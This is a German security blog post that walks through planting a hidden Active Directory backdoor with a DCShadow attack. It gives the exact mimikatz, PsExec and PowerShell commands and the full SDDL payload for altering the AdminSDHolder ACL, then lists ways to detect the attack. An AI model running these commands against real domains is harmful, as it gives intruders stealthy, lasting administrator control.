Backdoor im Netzwerk via DCShadow-Angriff
Vorweg, um solch einen Angriff auszuführen, muss der Angreifer bereits Domänen- oder Enterprise-Administratorberechtigungen besitzen. Bei einem DCShadow-Angriff wird ein bösartiger Domänencontroller (DC) registriert, um Änderungen im Active Directory vorzunehmen.
Die Erkennung eines DCShadow-Angriffs kann vom Angreifer erschwert und SIEM-Systeme können oft umgangen werden. Während des Angriffs werden Replikationen und andere zugehörige Metadaten geändert bzw. gelöscht, um die forensische Analyse zu behindern. Dies macht diese Art von Angriff schwer zu erkennen.
Schrittweise Implementierung einer Backdoor im Netzwerk mit Mimikatz
Neben den grundlegenden User-Attributen, wie zum Beispiel die SIDHistory und PrimaryGroupID, ist es möglich, mit DCShadow ACLs auf Objekten zu modifizieren, indem man das ntSecurityDescriptor-Attribut modifiziert. ACLs sind Listen, die festlegen, welche Benutzer oder Systemprozesse auf bestimmte Ressourcen im Netzwerk zugreifen dürfen. Diese Fähigkeit erlaubt unter anderem das Ändern der AdminSDHolder ACL. Dies werden wir nun Schritt für Schritt ausnutzen, um die Backdoor im bereits kompromittierten Netzwerk aufzubauen.
Voraussetzung
Als Angreifer habe ich bereits einen Weg in das Netzwerk gefunden (zum Beispiel via Phishing) und meine Privilegien zum Domänen- oder Enterpriseadministrator erweitert (zum Beispiel via einem Service-Account mit schwachem Passwort). Die Domäne ist bereits komplett übernommen. Ich möchte eine Backdoor im Netzwerk erlangen, um langfristigen Zugriff zu gewährleisten. Dies soll so unauffällig wie möglich geschehen. Für diese Attacke wird mimikatz(https://blog.gentilkiwi.com/mimikatz) verwendet.
Was ist das AdminSDHolder-Objekt?
Der Zweck des AdminSDHolder-Objekts besteht darin, «Vorlagen»-Sicherheitsberechtigungen für geschützte Konten und Gruppen in der Domäne bereitzustellen.
AdminSDHolder ist ein Objekt in der Systempartition im Active Directory (cn=adminsdholder,cn=system,dc=gotraining,dc=lab). Objekte in diesen Gruppen werden geprüft, und alle mit einem Sicherheitsdeskriptor, welcher nicht mit der AdminSDHolder-ACL übereinstimmt, werden zur Aktualisierung markiert. Dieser Prozess, Security Descriptor Propagator (SDProp), läuft alle 60 Minuten auf dem PDC-Emulator und versieht die Objekt-Zugriffskontrollliste (ACL) mit den auf dem AdminSDHolder Objekt festgelegten Sicherheitsberechtigungen.
AdminSDHolder ist eine raffinierte Methode für einen Angreifer, die Fähigkeit zur Änderung der privilegiertesten Gruppen in Active Directory zu erhalten, indem er eine wichtige Sicherheitskomponente ausnutzt. Selbst wenn die Berechtigungen einer geschützten Gruppe oder eines Benutzers geändert werden, ändert der SDProp-Prozess die Sicherheitsberechtigungen so, dass sie denen des AdminSDHolder-Objekts entsprechen.
1. Schritt – Benutzer im Active Directory definieren
Für diesen Angriff braucht der Angreifer einen Benutzer. Entweder wählt der Angreifer einen bereits vorhandenen Benutzer oder legt diesen neu an. In unserem Fall ist dies die Benutzerin „Lara“.
2. Schritt – Security Identifier (SID) von Lara herausfinden
PowerShell: (New-Object System.Security.Principal.NTAccount('Lara')).Translate([System.Security.Principal.SecurityIdentifier]).Value
3. Schritt – Die vorhandene Security Descriptor Definition Language (SDDL) des AdminSDHolder-Containers auslesen
PowerShell: (New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC=gotraining,DC=lab")).psbase.ObjectSecurity.sddl
4. Schritt – Vollzugriffsberechtigung für Lara hinzufügen
(A;;CCDCLCSWRPWPLOCRSDRCWDWO;;;S-1-5-21-3893640844-527544915-513621812-1603)
Diese Zeichenfolge muss der SDDL von AdminSDHolder hinzugefügt werden (Schritt 6).
5. Schritt – Via PsExec mimikatz öffnen
Die erste Mimikatz-Instanz muss mit einem NT Authority\System Token laufen. Dazu öffnen wir CMD über PsExec.
CMD: PsExec.exe -i -s cmd
6. Schritt – mimikatz RPC-Server starten
Mimikatz startet einen RPC-Server, welcher auf eine Verbindung wartet:
mimikatz: lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=gotraining,DC=lab /attribute:ntSecurityDescriptor /value:"O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPLOCRRCWDWO;;;DA)(A;;CCDCLCSWRPWPLOCRRCWDWO;;;S-1-5-21-3893640844-527544915-513621812-519)(OA;;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;;WD)(OA;CI;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(OA;;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;;PS)(OA;;RP;037088f8-0ae1-11d2-b422-00a0c968f939;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;;RP;037088f8-0ae1-11d2-b422-00a0c968f939;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;RP;4c164200-20c0-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;;RP;4c164200-20c0-11d0-a768-00aa006e0529;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;;RP;46a9b11d-60ae-405a-b7e8-ff8a58d456d2;;S-1-5-32-560)(OA;;RPWP;6db69a1c-9422-11d1-aebd-0000f80367c1;;S-1-5-32-561)(OA;;RPWP;5805bc62-bdc9-4428-a5e2-856a0f4c185e;;S-1-5-32-561)(OA;;RPWP;bf967a7f-0de6-11d0-a285-00aa003049e2;;CA)(A;;CCDCLCSWRPWPLOCRSDRCWDWO;;;S-1-5-21-3893640844-527544915-513621812-1603)"
7. Schritt – mimikatz DCShadow Push Befehl absetzen
Jetzt muss eine zweite Mimikatz-Instanz geöffnet werden. Diese muss mit dem Domänen Administrator Benutzer laufen (nicht NT Authority\System).
mimikatz: lsadump::dcshadow /push
8. Schritt – mimikatz Prüfen, ob der wartende RPC-Server (erste Mimikatz-Instanz) die Anfrage angenommen hat
Der Server hat ein SessionKey aufgebaut und ein Object wurde gepusht.
9. Schritt – AdminSHHolder Eigenschaften prüfen
Nun wurde im AdminSDHolder Objekt die Benutzerin Lara mit Full Control Berechtigungen hinzugefügt. Falls Full Control Berechtigungen nicht vorhanden sind, können diese einfach dazu gesetzt werden.
Nach der Attacke
Nachdem der SDProp-Prozess lief, wurde Lara automatisch der Gruppe Domain Admins hinzugefügt. Jetzt kann dieses Konto die Mitgliedschaft in der Gruppe «Domain Admins» ändern.
In der Domain Admins Gruppe im Active Directory ist Lara jedoch nicht vorhanden.
Trotzdem besitzt Lara Domänen-Administratorberechtigungen. Dies wird bewiesen, indem Lara zum Beispiel neue Benutzer dieser Gruppe hinzufügt.
PowerShell: net group "Domain Admins" roberto /add /domain
Vergleicht man jetzt die Benutzer Lara und adm_paul ist zu sehen, dass Lara keinen MemberOf Eintrag hat, der «richtige» Domain Admin adm_paul jedoch schon.
PowerShell: get-aduser lara -property memberof
Diese Angriffsart erkennen
Diese Angriffe sind schwer zu verhindern, da DCShadow gültige und notwendige Funktionen der Active Directory-Replikationsprotokolle nutzt, die nicht ausgeschaltet oder deaktiviert werden können.
- Überwachen Sie die für das AdminSDHolder-Objekt konfigurierten ACLs. Diese sollten auf dem Standardwert belassen werden. Es ist in der Regel nicht notwendig, andere Gruppen zur AdminSDHolder-ACL hinzuzufügen.
- Überwachen und analysieren Sie den Netzwerkverkehr im Zusammenhang mit der Datenreplikation (z. B. Aufrufe von DrsAddEntry, DrsReplicaAdd und insbesondere GetNCChanges) zwischen DCs sowie zu und von Nicht-DC-Hosts. Die DC-Replikation findet alle 15 Minuten statt, kann aber von einem Angreifer ad-hoc ausgelöst werden.
- Untersuchen Sie die Directory Service Replication (DRS)-Ereignisse 4928 und 4929 mithilfe des Event Logs auf dem Domain Controller. Beobachten Sie den Distinguished Name (DN) des Ziel-DRA und des Quell-DRA und validieren Sie den legitimen DN von Active Directory Users und Computers. Finden Sie jede nicht autorisierte DRA-Replikation zwischen Domänencontrollern heraus.
- Überwachen Sie die Verwendung von Mimikatz-Befehlen im Netzwerk, z. B. lsadump::dcshadow.
- Überwachen Sie die Verwendung von SPN-Scan-Tools. Der einfache Befehl setspn -Q HTTP/* ermöglicht es einem Angreifer beispielsweise, HTTP-SPNs zu finden.
- Untersuchen Sie die Verwendung von Kerberos Service Principal Names (SPNs). Zwei Arten von SPNs können eindeutig auf einen DCShadow-Angriff hinweisen. Ein SPN, der mit „GC/“ beginnt, ist mit Diensten von Computern verbunden, die nicht in der DC-Organisationseinheit (OU) vorhanden sind, und ein SPN, der mit der DRS-Remote-Protokoll-Schnittstelle (GUID E3514235-4B06-11D1-AB04-00C04FC2DCD2) verbunden ist.
Die DCShadow-Attacken verdeutlichen einmal mehr, dass in Active Directory-Umgebungen robuste Sicherheitsmassnahmen und eine kontinuierliche Überwachung unerlässlich sind.
Informationen zum Autor: Raphael Rietmann
Ein Premium Audit durch die goSecurity AG bei meinem früheren Arbeitgeber weckte mein Interesse und meine Neugierde für die IT-Sicherheit. Seit dem Frühjahr 2022 bin ich nun ein Teil des Teams und kann mein Wissen für Schutz unserer Kunden vor den täglichen Gefahren durch Hacker einsetzen. Zu sehen, wie sich der IT-Sicherheitslevel einer Firma zum Positiven verändert, bereitet mir Freude und motiviert mich täglich mein Bestes zu geben.